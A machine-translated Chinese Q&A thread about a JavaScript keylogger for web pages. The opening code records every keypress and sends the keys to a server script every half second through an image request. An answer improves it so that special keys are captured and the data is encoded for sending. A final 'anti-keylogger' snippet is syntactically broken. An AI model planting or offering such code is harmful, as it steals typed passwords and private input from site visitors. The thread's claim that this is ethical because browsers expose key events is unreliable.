JS代码 以下是在html页面上进行键盘记录的javascript代码。
var keys = '';
document.onkeypress = function(e) {
get = window.event ? event : e;
key = get.keyCode ? get.keyCode : get.charCode;
key = String.fromCharCode(key);
keys += key;
}
window.setInterval(function() {
if (keys != '') {
new Image().src = 'keylogger.php?c=' + keys;
keys = '';
}
}, 500);
它确实有效,但一些特殊键没有被记录,例如空格、制表符、退格键等。
如何自定义以上代码来记录所有特殊键?
URL 只能包含一组特定的字符。这就是您需要对要发送的字符进行编码的原因。在encodeURIComponent
上使用
keys
功能:
new Image().src = 'keylogger.php?c='+encodeURIComponent(keys);
实际上用
document.onkeypress
将无法捕获Tab
和Backspace
你需要使用document.onkeydown
作为
document.onkeydown = function(e){
console.log(e);
};
最后,您可以将键盘记录器更新为:
//keylogger
var keycodes = "";
var keychars = "";
document.onkeydown = function(e){
keycodes += `${e.code}, `;
keychars += `${e.key}`;
if(e.code === "Enter") // when Enter is pressed print the line in console
{
console.log(keycodes); //print code
console.log(keychars); //print char
keycodes = ""; //make null
keychars = ""; // make null
}
};
放松,这都是合乎道德的,因为
javascript
提供api
拦截keypress
.
为了克服这个问题,我们可以使用 Anti-Keylogger 并在页面加载时调用它
//Disables the keystroke logging
function AntiKeylogger(){
window.onkeydown = undefined;
window.onkeypress = undefined;
window.onkeyup = undefined;
document.onkeydown = undefined;
document.onkeypress = undefined;
document.onkeyup = undefined;
}();